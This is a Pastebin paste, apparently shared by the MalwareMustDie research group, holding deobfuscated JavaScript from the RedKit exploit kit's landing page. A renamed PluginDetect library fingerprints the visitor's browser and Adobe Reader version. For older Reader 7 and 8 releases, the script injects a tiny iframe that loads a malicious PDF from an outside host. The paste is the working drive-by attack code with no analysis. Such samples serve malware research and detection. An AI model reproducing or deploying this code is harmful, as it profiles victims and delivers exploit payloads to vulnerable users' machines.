Advertisement
MalwareMustDie

#MalwareMustDie RedKit PluginDetect Code - 2012 Dec 30

Dec 30th, 2012
2,326
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.  var jsou = "src";
  2.  var cxhy=document.createElement("iframe");
  3.  function dettq()
  4.  {
  5.    document.body.appendChild(cxhy);
  6.    cxhy.setAttribute(jsou,"http://optik-welter.de/987.pdf");
  7.  }
  8.  var Ganni=
  9.  {
  10.    version:"0.7.7",rDate:"04/11/2012",name:"Ganni",handler:function(c,b,a)
  11.    {
  12.      return function()
  13.      {
  14.        c(b,a)
  15.      }
  16.    }
  17.    ,isDefined:function(b)
  18.    {
  19.      return typeof b!="undefined"
  20.    }
  21.    ,isArray:function(b)
  22.    {
  23.      return(/array/i).test(Object.prototype.toString.call(b))
  24.    }
  25.    ,isFunc:function(b)
  26.    {
  27.      return typeof b=="function"
  28.    }
  29.    ,isString:function(b)
  30.    {
  31.      return typeof b=="string"
  32.    }
  33.    ,isNum:function(b)
  34.    {
  35.      return typeof b=="number"
  36.    }
  37.    ,isStrNum:function(b)
  38.    {
  39.      return(typeof b=="string"&&(/\d/).test(b))
  40.    }
  41.    ,getNumRegx:/[\d][\d\.\_,-]*/,splitNumRegx:/[\.\_,-]/g,getNum:function(b,c)
  42.    {
  43.      var d=this,a=d.isStrNum(b)?(d.isDefined(c)?new RegExp(c):d.getNumRegx).exec(b):null;
  44.      return a?a[0]:null
  45.    }
  46.    ,compareNums:function(h,f,d)
  47.    {
  48.      var e=this,c,b,a,g=parseInt;
  49.      if(e.isStrNum(h)&&e.isStrNum(f))
  50.      {
  51.        if(e.isDefined(d)&&d.compareNums)
  52.        {
  53.          return d.compareNums(h,f)
  54.        }
  55.        c=h.split(e.splitNumRegx);
  56.        b=f.split(e.splitNumRegx);
  57.        for(a=0;a<Math.min(c.length,b.length);
  58.        a++)
  59.        {
  60.          if(g(c[a],10)>g(b[a],10))
  61.          {
  62.            return 1
  63.          }
  64.          if(g(c[a],10)<g(b[a],10))
  65.          {
  66.            return -1
  67.          }
  68.        }
  69.      }
  70.      return 0
  71.    }
  72.    ,formatNum:function(b,c)
  73.    {
  74.      var d=this,a,e;
  75.      if(!d.isStrNum(b))
  76.      {
  77.        return null
  78.      }
  79.      if(!d.isNum(c))
  80.      {
  81.        c=4
  82.      }
  83.      c--;
  84.      e=b.replace(/\s/g,"").split(d.splitNumRegx).concat(["0","0","0","0"]);
  85.      for(a=0;a<4;a++)
  86.      {
  87.        if(/^(0+)(.+)$/.test(e[a]))
  88.        {
  89.          e[a]=RegExp.$2
  90.        }
  91.        if(a>c||!(/\d/).test(e[a]))
  92.        {
  93.          e[a]="0"
  94.        }
  95.      }
  96.      return e.slice(0,4).join(",")
  97.    }
  98.    ,$$hasMimeType:function(a)
  99.    {
  100.      return function(c)
  101.      {
  102.        if(!a.isIE&&c)
  103.        {
  104.          var f,e,b,d=a.isArray(c)?c:(a.isString(c)?[c]:[]);
  105.          for(b=0;b<d.length;b++)
  106.          {
  107.            if(a.isString(d[b])&&/[^\s]/.test(d[b]))
  108.            {
  109.              f=navigator.mimeTypes[d[b]];
  110.              e=f?f.enabledPlugin:0;
  111.              if(e&&(e.name||e.description))
  112.              {
  113.                return f
  114.              }
  115.            }
  116.          }
  117.        }
  118.        return null
  119.      }
  120.    }
  121.    ,findNavPlugin:function(l,e,c)
  122.    {
  123.      var j=this,h=new RegExp(l,"i"),d=(!j.isDefined(e)||e)?/\d/:0,k=c?new RegExp(c,"i"):0,a=navigator.plugins,g="",f,b,m;
  124.      for(f=0;f<a.length;f++)
  125.      {
  126.        m=a[f].description||g;
  127.        b=a[f].name||g;
  128.        if((h.test(m)&&(!d||d.test(RegExp.leftContext+RegExp.rightContext)))||(h.test(b)&&(!d||d.test(RegExp.leftContext+RegExp.rightContext))))
  129.        {
  130.          if(!k||!(k.test(m)||k.test(b)))
  131.          {
  132.            return a[f]
  133.          }
  134.        }
  135.      }
  136.      return null
  137.    }
  138.    ,getMimeEnabledPlugin:function(k,m,c)
  139.    {
  140.      var e=this,f,b=new RegExp(m,"i"),h="",g=c?new RegExp(c,"i"):0,a,l,d,j=e.isString(k)?[k]:k;
  141.      for(d=0;d<j.length;d++)
  142.      {
  143.        if((f=e.hasMimeType(j[d]))&&(f=f.enabledPlugin))
  144.        {
  145.          l=f.description||h;
  146.          a=f.name||h;
  147.          if(b.test(l)||b.test(a))
  148.          {
  149.            if(!g||!(g.test(l)||g.test(a)))
  150.            {
  151.              return f
  152.            }
  153.          }
  154.        }
  155.      }
  156.      return 0
  157.    }
  158.    ,getPluginFileVersion:function(f,b)
  159.    {
  160.      var h=this,e,d,g,a,c=-1;
  161.      if(h.OS>2||!f||!f.version||!(e=h.getNum(f.version)))
  162.      {
  163.        return b
  164.      }
  165.      if(!b)
  166.      {
  167.        return e
  168.      }
  169.      e=h.formatNum(e);
  170.      b=h.formatNum(b);
  171.      d=b.split(h.splitNumRegx);
  172.      g=e.split(h.splitNumRegx);
  173.      for(a=0;a<d.length;a++)
  174.      {
  175.        if(c>-1&&a>c&&d[a]!="0")
  176.        {
  177.          return b
  178.        }
  179.        if(g[a]!=d[a])
  180.        {
  181.          if(c==-1)
  182.          {
  183.            c=a
  184.          }
  185.          if(d[a]!="0")
  186.          {
  187.            return b
  188.          }
  189.        }
  190.      }
  191.      return e
  192.    }
  193.    ,AXO:window.ActiveXObject,getAXO:function(a)
  194.    {
  195.      var f=null,d,b=this,c=
  196.      {
  197.      };
  198.      try
  199.      {
  200.        f=new b.AXO(a)
  201.      }
  202.      catch(d)
  203.      {
  204.      }
  205.      return f
  206.    }
  207.    ,convertFuncs:function(f)
  208.    {
  209.      var a,g,d,b=/^[$][$]/,c=this;
  210.      for(a in f)
  211.      {
  212.        if(b.test(a))
  213.        {
  214.          try
  215.          {
  216.            g=a.slice(2);
  217.            if(g.length>0&&!f[g])
  218.            {
  219.              f[g]=f[a](f);
  220.              delete f[a]
  221.            }
  222.          }
  223.          catch(d)
  224.          {
  225.          }
  226.        }
  227.      }
  228.    }
  229.    ,initObj:function(e,b,d)
  230.    {
  231.      var a,c;
  232.      if(e)
  233.      {
  234.        if(e[b[0]]==1||d)
  235.        {
  236.          for(a=0;a<b.length;a=a+2)
  237.          {
  238.            e[b[a]]=b[a+1]
  239.          }
  240.        }
  241.        for(a in e)
  242.        {
  243.          c=e[a];
  244.          if(c&&c[b[0]]==1)
  245.          {
  246.            this.initObj(c,b)
  247.          }
  248.        }
  249.      }
  250.    }
  251.    ,initScript:function()
  252.    {
  253.      var c=this,a=navigator,e="/",f,i=a.userAgent||"",g=a.vendor||"",b=a.platform||"",h=a.product||"";c.initObj(c,["$",c]);
  254.      for(f in c.Plugins)
  255.      {
  256.        if(c.Plugins[f])
  257.        {
  258.          c.initObj(c.Plugins[f],["$",c,"$$",c.Plugins[f]],1)
  259.        }
  260.      };
  261.      c.OS=100;
  262.      if(b)
  263.      {
  264.        var d=["Win",1,"Mac",2,"Linux",3,"FreeBSD",4,"iPhone",21.1,"iPod",21.2,"iPad",21.3,"Win.*CE",22.1,"Win.*Mobile",22.2,"Pocket\s*PC",22.3,"",100];
  265.        for(f=d.length-2;f>=0;f=f-2)
  266.        {
  267.          if(d[f]&&new RegExp(d[f],"i").test(b))
  268.          {
  269.            c.OS=d[f+1];
  270.            break
  271.          }
  272.        }
  273.      }
  274.      c.convertFuncs(c);
  275.      c.head=(document.getElementsByTagName("head")[0]||document.getElementsByTagName("body")[0]||document.body||null);
  276.      c.isIE=(new Function("return "+e+"*@cc_on!@*"+e+"false"))();
  277.      c.verIE=c.isIE&&(/MSIE\s*(\d+\.?\d*)/i).test(i)?parseFloat(RegExp.$1,10):null;
  278.      c.ActiveXEnabled=false;
  279.      if(c.isIE)
  280.      {
  281.        var f,j=["Msxml2.XMLHTTP","Msxml2.DOMDocument","Microsoft.XMLDOM","ShockwaveFlash.ShockwaveFlash","TDCCtl.TDCCtl","Shell.UIHelper","Scripting.Dictionary","wmplayer.ocx"];
  282.        for(f=0;f<j.length;f++)
  283.        {
  284.          if(c.getAXO(j[f]))
  285.          {
  286.            c.ActiveXEnabled=true;
  287.            break
  288.          }
  289.        }
  290.      }
  291.      c.isGecko=(/Gecko/i).test(h)&&(/Gecko\s*\/\s*\d/i).test(i);
  292.      c.verGecko=c.isGecko?c.formatNum((/rv\s*\:\s*([\.\,\d]+)/i).test(i)?RegExp.$1:"0.9"):null;
  293.      c.isChrome=(/Chrome\s*\/\s*(\d[\d\.]*)/i).test(i);
  294.      c.verChrome=c.isChrome?c.formatNum(RegExp.$1):null;
  295.      c.isSafari=((/Apple/i).test(g)||(!g&&!c.isChrome))&&(/Safari\s*\/\s*(\d[\d\.]*)/i).test(i);
  296.      c.verSafari=c.isSafari&&(/Version\s*\/\s*(\d[\d\.]*)/i).test(i)?c.formatNum(RegExp.$1):null;
  297.      c.isOpera=(/Opera\s*[\/]?\s*(\d+\.?\d*)/i).test(i);
  298.      c.verOpera=c.isOpera&&((/Version\s*\/\s*(\d+\.?\d*)/i).test(i)||1)?parseFloat(RegExp.$1,10):null;
  299.      c.addWinEvent("load",c.handler(c.runWLfuncs,c))
  300.    }
  301.    ,init:function(d)
  302.    {
  303.      var c=this,b,d,a=
  304.      {
  305.        status:-3,plugin:0
  306.      };
  307.      if(!c.isString(d))
  308.      {
  309.        return a
  310.      }
  311.      if(d.length==1)
  312.      {
  313.        c.getVersionDelimiter=d;
  314.        return a
  315.      }
  316.      d=d.toLowerCase().replace(/\s/g,"");
  317.      b=c.Plugins[d];
  318.      if(!b||!b.getVersion)
  319.      {
  320.        return a
  321.      }
  322.      a.plugin=b;
  323.      if(!c.isDefined(b.installed))
  324.      {
  325.        b.installed=null;
  326.        b.version=null;
  327.        b.version0=null;
  328.        b.getVersionDone=null;
  329.        b.pluginName=d
  330.      }
  331.      c.garbage=false;
  332.      if(c.isIE&&!c.ActiveXEnabled&&d!=="java")
  333.      {
  334.        a.status=-2;
  335.        return a
  336.      }
  337.      a.status=1;
  338.      return a
  339.    }
  340.    ,fPush:function(b,a)
  341.    {
  342.      var c=this;
  343.      if(c.isArray(a)&&(c.isFunc(b)||(c.isArray(b)&&b.length>0&&c.isFunc(b[0]))))
  344.      {
  345.        a.push(b)
  346.      }
  347.    }
  348.    ,callArray:function(b)
  349.    {
  350.      var c=this,a;
  351.      if(c.isArray(b))
  352.      {
  353.        for(a=0;a<b.length;a++)
  354.        {
  355.          if(b[a]===null)
  356.          {
  357.            return
  358.          }
  359.          c.call(b[a]);
  360.          b[a]=null
  361.        }
  362.      }
  363.    }
  364.    ,call:function(c)
  365.    {
  366.      var b=this,a=b.isArray(c)?c.length:-1;
  367.      if(a>0&&b.isFunc(c[0]))
  368.      {
  369.        c[0](b,a>1?c[1]:0,a>2?c[2]:0,a>3?c[3]:0)
  370.      }
  371.      else
  372.      {
  373.        if(b.isFunc(c))
  374.        {
  375.          c(b)
  376.        }
  377.      }
  378.    }
  379.    ,getVersionDelimiter:",",$$getVersion:function(a)
  380.    {
  381.      return function(g,d,c)
  382.      {
  383.        var e=a.init(g),f,b,h=
  384.        {
  385.        };
  386.        if(e.status<0)
  387.        {
  388.          return null
  389.        };
  390.        f=e.plugin;
  391.        if(f.getVersionDone!=1)
  392.        {
  393.          f.getVersion(null,d,c);
  394.          if(f.getVersionDone===null)
  395.          {
  396.            f.getVersionDone=1
  397.          }
  398.        }
  399.        a.cleanup();
  400.        b=(f.version||f.version0);
  401.        b=b?b.replace(a.splitNumRegx,a.getVersionDelimiter):b;
  402.        return b
  403.      }
  404.    }
  405.    ,cleanup:function()
  406.    {
  407.    }
  408.    ,addWinEvent:function(d,c)
  409.    {
  410.      var e=this,a=window,b;
  411.      if(e.isFunc(c))
  412.      {
  413.        if(a.addEventListener)
  414.        {
  415.          a.addEventListener(d,c,false)
  416.        }
  417.        else
  418.        {
  419.          if(a.attachEvent)
  420.          {
  421.            a.attachEvent("on"+d,c)
  422.          }
  423.          else
  424.          {
  425.            b=a["on"+d];
  426.            a["on"+d]=e.winHandler(c,b)
  427.          }
  428.        }
  429.      }
  430.    }
  431.    ,winHandler:function(d,c)
  432.    {
  433.      return function()
  434.      {
  435.        d();
  436.        if(typeof c=="function")
  437.        {
  438.          c()
  439.        }
  440.      }
  441.    }
  442.    ,WLfuncs0:[],WLfuncs:[],runWLfuncs:function(a)
  443.    {
  444.      var b=
  445.      {
  446.      };
  447.      a.winLoaded=true;
  448.      a.callArray(a.WLfuncs0);
  449.      a.callArray(a.WLfuncs);
  450.      if(a.onDoneEmptyDiv)
  451.      {
  452.        a.onDoneEmptyDiv()
  453.      }
  454.    }
  455.    ,winLoaded:false,$$onWindowLoaded:function(a)
  456.    {
  457.      return function(b)
  458.      {
  459.        if(a.winLoaded)
  460.        {
  461.          a.call(b)
  462.        }
  463.        else
  464.        {
  465.          a.fPush(b,a.WLfuncs)
  466.        }
  467.      }
  468.    }
  469.    ,div:null,divID:"Ganni",divWidth:50,pluginSize:1,emptyDiv:function()
  470.    {
  471.      var d=this,b,h,c,a,f,g;
  472.      if(d.div&&d.div.childNodes)
  473.      {
  474.        for(b=d.div.childNodes.length-1;b>=0;b--)
  475.        {
  476.          c=d.div.childNodes[b];
  477.          if(c&&c.childNodes)
  478.          {
  479.            for(h=c.childNodes.length-1;h>=0;h--)
  480.            {
  481.              g=c.childNodes[h];
  482.              try
  483.              {
  484.                c.removeChild(g)
  485.              }
  486.              catch(f)
  487.              {
  488.              }
  489.            }
  490.          }
  491.          if(c)
  492.          {
  493.            try
  494.            {
  495.              d.div.removeChild(c)
  496.            }
  497.            catch(f)
  498.            {
  499.            }
  500.          }
  501.        }
  502.      }
  503.      if(!d.div)
  504.      {
  505.        a=document.getElementById(d.divID);
  506.        if(a)
  507.        {
  508.          d.div=a
  509.        }
  510.      }
  511.      if(d.div&&d.div.parentNode)
  512.      {
  513.        try
  514.        {
  515.          d.div.parentNode.removeChild(d.div)
  516.        }
  517.        catch(f)
  518.        {
  519.        }
  520.        d.div=null
  521.      }
  522.    }
  523.    ,DONEfuncs:[],onDoneEmptyDiv:function()
  524.    {
  525.      var c=this,a,b;
  526.      if(!c.winLoaded)
  527.      {
  528.        return
  529.      }
  530.      if(c.WLfuncs&&c.WLfuncs.length&&c.WLfuncs[c.WLfuncs.length-1]!==null)
  531.      {
  532.        return
  533.      }
  534.      for(a in c)
  535.      {
  536.        b=c[a];
  537.        if(b&&b.funcs)
  538.        {
  539.          if(b.OTF==3)
  540.          {
  541.            return
  542.          }
  543.          if(b.funcs.length&&b.funcs[b.funcs.length-1]!==null)
  544.          {
  545.            return
  546.          }
  547.        }
  548.      }
  549.      for(a=0;a<c.DONEfuncs.length;a++)
  550.      {
  551.        c.callArray(c.DONEfuncs)
  552.      }
  553.      c.emptyDiv()
  554.    }
  555.    ,getWidth:function(c)
  556.    {
  557.      if(c)
  558.      {
  559.        var a=c.scrollWidth||c.offsetWidth,b=this;
  560.        if(b.isNum(a))
  561.        {
  562.          return a
  563.        }
  564.      }
  565.      return -1
  566.    }
  567.    ,getTagStatus:function(m,g,a,b)
  568.    {
  569.      var c=this,f,k=m.span,l=c.getWidth(k),h=a.span,j=c.getWidth(h),d=g.span,i=c.getWidth(d);
  570.      if(!k||!h||!d||!c.getDOMobj(m))
  571.      {
  572.        return -2
  573.      }
  574.      if(j<i||l<0||j<0||i<0||i<=c.pluginSize||c.pluginSize<1)
  575.      {
  576.        return 0
  577.      }
  578.      if(l>=i)
  579.      {
  580.        return -1
  581.      }
  582.      try
  583.      {
  584.        if(l==c.pluginSize&&(!c.isIE||c.getDOMobj(m).readyState==4))
  585.        {
  586.          if(!m.winLoaded&&c.winLoaded)
  587.          {
  588.            return 1
  589.          }
  590.          if(m.winLoaded&&c.isNum(b))
  591.          {
  592.            if(!c.isNum(m.count))
  593.            {
  594.              m.count=b
  595.            }
  596.            if(b-m.count>=10)
  597.            {
  598.              return 1
  599.            }
  600.          }
  601.        }
  602.      }
  603.      catch(f)
  604.      {
  605.      }
  606.      return 0
  607.    }
  608.    ,getDOMobj:function(g,a)
  609.    {
  610.      var f,d=this,c=g?g.span:0,b=c&&c.firstChild?1:0;
  611.      try
  612.      {
  613.        if(b&&a)
  614.        {
  615.          d.div.focus()
  616.        }
  617.      }
  618.      catch(f)
  619.      {
  620.      }
  621.      return b?c.firstChild:null
  622.    }
  623.    ,setStyle:function(b,g)
  624.    {
  625.      var f=b.style,a,d,c=this;
  626.      if(f&&g)
  627.      {
  628.        for(a=0;a<g.length;a=a+2)
  629.        {
  630.          try
  631.          {
  632.            f[g[a]]=g[a+1]
  633.          }
  634.          catch(d)
  635.          {
  636.          }
  637.        }
  638.      }
  639.    }
  640.    ,insertDivInBody:function(a,i)
  641.    {
  642.      var h,f=this,b="pd33993399",d=null,j=i?window.top.document:window.document,c="<",g=(j.getElementsByTagName("body")[0]||j.body);
  643.      if(!g)
  644.      {
  645.        try
  646.        {
  647.          j.write(c+'div id="'+b+'">o'+c+"/div>");
  648.          d=j.getElementById(b)
  649.        }
  650.        catch(h)
  651.        {
  652.        }
  653.      }
  654.      g=(j.getElementsByTagName("body")[0]||j.body);
  655.      if(g)
  656.      {
  657.        if(g.firstChild&&f.isDefined(g.insertBefore))
  658.        {
  659.          g.insertBefore(a,g.firstChild)
  660.        }
  661.        else
  662.        {
  663.          g.appendChild(a)
  664.        }
  665.        if(d)
  666.        {
  667.          g.removeChild(d)
  668.        }
  669.      }
  670.      else
  671.      {
  672.      }
  673.    }
  674.    ,insertHTML:function(g,b,h,a,l)
  675.    {
  676.      var m,n=document,k=this,q,p=n.createElement("span"),o,j,f="<";
  677.      var c=["outlineStyle","none","borderStyle","none","padding","0px","margin","0px","visibility","visible"];
  678.      var i="outline-style:none;border-style:none;padding:0px;margin:0px;visibility:visible;";
  679.      if(!k.isDefined(a))
  680.      {
  681.        a=""
  682.      }
  683.      if(k.isString(g)&&(/[^\s]/).test(g))
  684.      {
  685.        g=g.toLowerCase().replace(/\s/g,"");
  686.        q=f+g+' width="'+k.pluginSize+'" height="'+k.pluginSize+'" ';
  687.        q+='style="'+i+'display:inline;" ';
  688.        for(o=0;o<b.length;o=o+2)
  689.        {
  690.          if(/[^\s]/.test(b[o+1]))
  691.          {
  692.            q+=b[o]+'="'+b[o+1]+'" '
  693.          }
  694.        }
  695.        q+=">";
  696.        for(o=0;o<h.length;o=o+2)
  697.        {
  698.          if(/[^\s]/.test(h[o+1]))
  699.          {
  700.            q+=f+'param name="'+h[o]+'" value="'+h[o+1]+'" />'
  701.          }
  702.        }
  703.        q+=a+f+"/"+g+">"
  704.      }
  705.      else
  706.      {
  707.        q=a
  708.      }
  709.      if(!k.div)
  710.      {
  711.        j=n.getElementById(k.divID);
  712.        if(j)
  713.        {
  714.          k.div=j
  715.        }
  716.        else
  717.        {
  718.          k.div=n.createElement("div");
  719.          k.div.id=k.divID
  720.        }
  721.        k.setStyle(k.div,c.concat(["width",k.divWidth+"px","height",(k.pluginSize+3)+"px","fontSize",(k.pluginSize+3)+"px","lineHeight",(k.pluginSize+3)+"px","verticalAlign","baseline","display","block"]));
  722.        if(!j)
  723.        {
  724.          k.setStyle(k.div,["position","absolute","right","0px","top","0px"]);
  725.          k.insertDivInBody(k.div)
  726.        }
  727.      }
  728.      if(k.div&&k.div.parentNode)
  729.      {
  730.        k.setStyle(p,c.concat(["fontSize",(k.pluginSize+3)+"px","lineHeight",(k.pluginSize+3)+"px","verticalAlign","baseline","display","inline"]));
  731.        try
  732.        {
  733.          p.innerHTML=q
  734.        }
  735.        catch(m)
  736.        {
  737.        };
  738.        try
  739.        {
  740.          k.div.appendChild(p)
  741.        }
  742.        catch(m)
  743.        {
  744.        };
  745.        return
  746.        {
  747.          span:p,winLoaded:k.winLoaded,tagName:g,outerHTML:q
  748.        }
  749.      }
  750.      return
  751.      {
  752.        span:null,winLoaded:k.winLoaded,tagName:"",outerHTML:q
  753.      }
  754.    }
  755.    ,Plugins:
  756.    {
  757.      adobereader:
  758.      {
  759.        mimeType:"application/pdf",navPluginObj:null,progID:["AcroPDF.PDF","PDF.PdfCtrl"],classID:"clsid:CA8A9780-280D-11CF-A24D-444553540000",INSTALLED:
  760.        {
  761.        }
  762.        ,pluginHasMimeType:function(d,c,f)
  763.        {
  764.          var b=this,e=b.$,a;
  765.          for(a in d)
  766.          {
  767.            if(d[a]&&d[a].type&&d[a].type==c)
  768.            {
  769.              return 1
  770.            }
  771.          }
  772.          if(e.getMimeEnabledPlugin(c,f))
  773.          {
  774.            return 1
  775.          }
  776.          return 0
  777.        }
  778.        ,getVersion:function(l,j)
  779.        {
  780.          var g=this,d=g.$,i,f,m,n,b=null,h=null,k=g.mimeType,a,c;
  781.          if(d.isString(j))
  782.          {
  783.            j=j.replace(/\s/g,"");
  784.            if(j)
  785.            {
  786.              k=j
  787.            }
  788.          }
  789.          else
  790.          {
  791.            j=null
  792.          }
  793.          if(d.isDefined(g.INSTALLED[k]))
  794.          {
  795.            g.installed=g.INSTALLED[k];
  796.            return
  797.          }
  798.          if(!d.isIE)
  799.          {
  800.            a="Adobe.*PDF.*Plug-?in|Adobe.*Acrobat.*Plug-?in|Adobe.*Reader.*Plug-?in";
  801.            if(g.getVersionDone!==0)
  802.            {
  803.              g.getVersionDone=0;
  804.              b=d.getMimeEnabledPlugin(g.mimeType,a);
  805.              if(!j)
  806.              {
  807.                n=b
  808.              }
  809.              if(!b&&d.hasMimeType(g.mimeType))
  810.              {
  811.                b=d.findNavPlugin(a,0)
  812.              }
  813.              if(b)
  814.              {
  815.                g.navPluginObj=b;
  816.                h=d.getNum(b.description)||d.getNum(b.name);
  817.                h=d.getPluginFileVersion(b,h);
  818.                if(!h&&d.OS==1)
  819.                {
  820.                  if(g.pluginHasMimeType(b,"application/vnd.adobe.pdfxml",a))
  821.                  {
  822.                    h="9"
  823.                  }
  824.                  else
  825.                  {
  826.                    if(g.pluginHasMimeType(b,"application/vnd.adobe.x-mars",a))
  827.                    {
  828.                      h="8"
  829.                    }
  830.                  }
  831.                }
  832.              }
  833.            }
  834.            else
  835.            {
  836.              h=g.version
  837.            }
  838.            if(!d.isDefined(n))
  839.            {
  840.              n=d.getMimeEnabledPlugin(k,a)
  841.            }
  842.            g.installed=n&&h?1:(n?0:(g.navPluginObj?-0.2:-1))
  843.          }
  844.          else
  845.          {
  846.            b=d.getAXO(g.progID[0])||d.getAXO(g.progID[1]);
  847.            c=/=\s*([\d\.]+)/g;
  848.            try
  849.            {
  850.              f=(b||d.getDOMobj(d.insertHTML("object",["classid",g.classID],["src",""],"",g))).GetVersions();
  851.              for(m=0;m<5;m++)
  852.              {
  853.                if(c.test(f)&&(!h||RegExp.$1>h))
  854.                {
  855.                  h=RegExp.$1
  856.                }
  857.              }
  858.            }
  859.            catch(i)
  860.            {
  861.            }
  862.            g.installed=h?1:(b?0:-1)
  863.          }
  864.          if(!g.version)
  865.          {
  866.            g.version=d.formatNum(h)
  867.          }
  868.          g.INSTALLED[k]=g.installed
  869.        }
  870.      }
  871.      ,zz:0
  872.    }
  873.  };
  874.  Ganni.initScript();
  875.  flopp=Ganni.getVersion("AdobeReader");
  876.  if(flopp)
  877.  {
  878.    flopp=flopp.split(',');
  879.    if (((3+1) > flopp[1]  && (8+1)==flopp[0]) || ((2+1) > flopp[1] && (7+1)==flopp[0]))
  880.    {
  881.      cxhy.setAttribute("width",4);
  882.      cxhy.setAttribute("height",12);
  883.      dettq();
  884.    }
  885.  }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement